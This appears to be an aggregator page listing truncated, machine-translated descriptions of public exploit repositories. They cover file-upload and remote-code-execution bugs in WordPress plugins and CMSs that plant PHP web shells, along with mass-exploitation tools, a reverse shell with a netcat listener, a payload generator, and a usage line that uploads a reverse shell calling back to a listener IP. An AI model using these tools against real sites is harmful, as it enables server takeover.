CVE-2024-52375

WordPress Datasets Manager 💥 제작자: Nxploit Khaled Alenazi 📅 CVE 발표일: 2024년 11월 14일 🧠 CVSS 점수: 10.0 Critical 🛠 CWE-434: 위험한 유형의 파일 무제한 업로드 📌 설명 Arttia Creative 의 Datasets Manager WordPress 플러그인에서 버전 1.5 이하 에 영향을 미치는 심각한 취약점이 발견되었습니다. 이 플러그인은 업로드 과정에서 파일 유형을 제대로 검증하지 않아, 인증되지 않은 공격자가 PHP 셸을 포함한 임의의...

Apache-Struts-v4

Apache-Struts-v4 Скрипт содержит 5 различных уязвимостей, которые эксплуатируют RCE-уязвимости в Apache Struts. На данный момент он поддерживает только создание PHP-оболочки shell. CVE ДОБАВЛЕНИЕ CVE ID| ОПИСАНИЕ ---|--- CVE-2013-2251| Apache Struts 2.0.0 through 2.3.15 allows remote attackers to...

CVE-2021-25094-tatsu-preauth-rce

Preauth RCE в плагине Tatsu builder для WordPress CVE-2021-25094 Простой PoC неаутентифицированного RCE в Tatsu Builder = 3.3.11 в качестве примера. Полное описание здесь: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Использование: python3 exploit-rce.py -h --techniqu...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC 이 저장소는 Pluck CMS 버전 4.7.18의 CVE-2023-50564 취약점에 대한 개념 증명PoC을 포함합니다. 설명 CVE-2023-50564는 Pluck CMS 버전 4.7.18에서 허가되지 않은 파일 업로드를 가능하게 하는 취약점입니다. 이 익스플로잇은 모듈 설치 함수의 결함을 이용하여 PHP 셸이 포함된 ZIP 파일을 업로드함으로써 원격 명령 실행을 가능하게 합니다. 사용법 사전 요구 사항 Python 3.x requests 및 requeststoolbelt 패키지 다음 명령으...

YAPS

YAPS - Е щё о дна P HP о болочка Да, как следует из названия, это ещё один PHP Reverse Shell, один из сотен доступных, но с некоторыми преимуществами. Это один PHP-файл, содержащий все свои функции, и вы можете управлять им через простой TCP-слушатель например, nc -lp 1337. В текущей версии 1.5 е...

CVE-2024-25600-mass

массовая загрузка шелла для CVE python3 exploit.py -l yourlist.txt путь к шеллу https://examplewebsite.com/asd.php...

CVE-2024-53345

CVE-2024-53345 Car Rental Management System 버전 1.0 1.3의 치명적 제로데이 취약점 설명: Car Rental Management System버전 1.0 1.3의 시스템 설정 모듈 파일 업로드 기능에 치명적인 취약점이 존재합니다. 이 취약점으로 인해 낮은 권한의 사용자가 PHP 스크립트 등 실행 가능한 파일을 포함한 임의의 파일을 업로드할 수 있습니다. 이는 부적절한 파일 형식 검증과 업로드 디렉토리에 대한 접근 제어 미흡으로 인해 발생하며, 공격자는 악성 파일을 업로드한 후 인증 없이...

payday

Payday Metasploit과 Veil을 사용하는 페이로드 생성기입니다. IP 주소를 입력받아 자동으로 페이로드를 빌드합니다. 제공된 IP 주소로 Veil 프레임워크를 호출하여 바이너리와 핸들러를 생성합니다. msfvenom을 사용하여 페이로드를 생성하고, Veil과 동일한 방식으로 리소스 핸들러 파일을 작성합니다. --php 옵션은 파일 시작 부분의 주석을 자동으로 제거한 pshell.txt를 생성하므로 편집 없이 사용할 수 있습니다. -- Veil Evasion Script 경로 업데이트 이 도구는 이제 디렉토리 구조를...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - 임의 파일 업로드 CVE-2015-6967 요구 사항 python 3 requests 사용법 usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, -u USERNAME --passwor...

WonderCMS-CVE-2020-35314

CVE-2020-35314 - Аутентифицированное удаленное выполнение кода в WonderCMS 3.1.3 Этот репозиторий создан с целью тестирования уязвимости удаленного выполнения кода в WonderCMS v3.1.3. Этот поддельный плагин включает бэкдор PHP-шелл, который находится в файле evil.php. Рекомендуется избегать...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 리버스 셸 업로드 h3v0x가 작성한 익스플로잇을 기반으로 한 WpDiscuz 7.0.4용 익스플로잇입니다. 취약점을 악용하여 리버스 PHP 셸을 업로드합니다. 영감은 Blogger CTF에서 얻었습니다. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 사용 예시:...

wordpress-shell

wordpress-shell 저렴하고 조잡한 워드프레스 명령어 실행 셸. 워드프레스를 서비스하는 웹서버의 권한으로 명령어를 실행하세요! 업로드된 셸은 일반적으로 /wp-content/plugins/shell/shell.php 에 위치합니다. 설치 셸을 설치하려면 워드프레스 설치에 대한 관리자 접근 권한이 있고 플러그인을 설치할 수 있다고 가정합니다. dist/ 디렉토리에 있는 zip 파일을 업로드하거나, 다음 명령어로 자신의 아카이브를 생성하세요: $ zip -r shell.zip shell.php adding: shell.p...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - 임의 파일 업로드 설명 WordPress용 Instant Appointment 플러그인은 버전 1.2까지포함 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 셸을 업로드하고 명령을 실행할 수 있습니다. 세부 정보 유형 : 플러그인 슬러그 : instant-appointment 영향받는 버전 : 1.2 CVSS 점수 : 9.8 CVSS 등급 : 높음 CVSS 벡터 :...

CVE-2025-56399

CVE-2025-56399 대량 익스플로잇 CVE-2025-56399 – laravel-file-manager v3.3.1의 원격 코드 실행 취약점. Laravel File Manager의 잘못 구성된 설정을 악용하여 인증 없이 파일 업로드로 PHP 셸을 업로드하고 검증합니다. 설치 저장소 다운로드 git clone https://github.com/im-hanzou/CVE-2025-56399 저장소 폴더로 이동 cd CVE-2025-56399 필요 패키지 설치 pip install -r requirements.txt 사용법...

CVE-2019-15813

CVE-2019-15813 이 컨테이너는 CVE-2019-15813Sentrifugo 작동 방식을 설명하고 시연하기 위해 제작되었습니다. Sentrifugo V3.2 Sentrifugo는 인적 자원 관리 시스템입니다. 설치 방법 docker-compose up 테스트용 기본 자격 증명 ----슈퍼 관리자---- 사용자 이름 : empp0001 비밀번호 : 5faa7bdf3d7af ---직원---- 사용자 이름: EMPP123 비밀번호: bygedupub --리버스 PHP 셸-- resume.zip 압축 해제 windows...

HeimShell

HeimShell CVE-2023-51803 HeimShell — это эксплойт для CVE-2023-51803, использующий уязвимость произвольной загрузки файлов в LinuxServer.io Heimdall ≤ 2.5.6. Он автоматически определяет версию цели и либо предупреждает о возможности эксплуатации, либо удалённо получает php-шелл, заданный в SHELLU...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

Эксплойт RCE OpenSTAManager CVE-2026-38751 Обзор Этот Python-скрипт эксплуатирует уязвимость удаленного выполнения кода в OpenSTAManager версии 2.10, идентифицированную как CVE-2026-38751. Эксплойт позволяет аутентифицированным пользователям загрузить вредоносный модуль и выполнить произвольные...

CVE-2026-4885

CVE-2026-4885 – Массовый эксплойт Piotnet Addons for Elementor Pro Неаутентифицированная произвольная загрузка файла, приводящая к удаленному выполнению кода RCE в Piotnet Addons for Elementor Pro ≤ 7.1.70. Этот инструмент предназначен для массовой эксплуатации – передайте ему список целей, и он...

CVE-2019-11223

CVE-2019-11223 Произвольная загрузка файлов в плагин Wordpress SupportCandy версии 2.0 и ниже https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

cve-2020-11060-poc

CVE-2020-11060 Этот скрипт представляет собой эксплойт на Python 3.x для CVE-2020-11060 в GLPI версий 0.85-9.4.5. Оригинальная реализация: 0xdreadnaught Рефакторинг на Python3: n3rada Оригинальный PoC в ExploitDB теперь устарел, так как использовал Python 2.x. Новая версия была отправлена, и ссыл...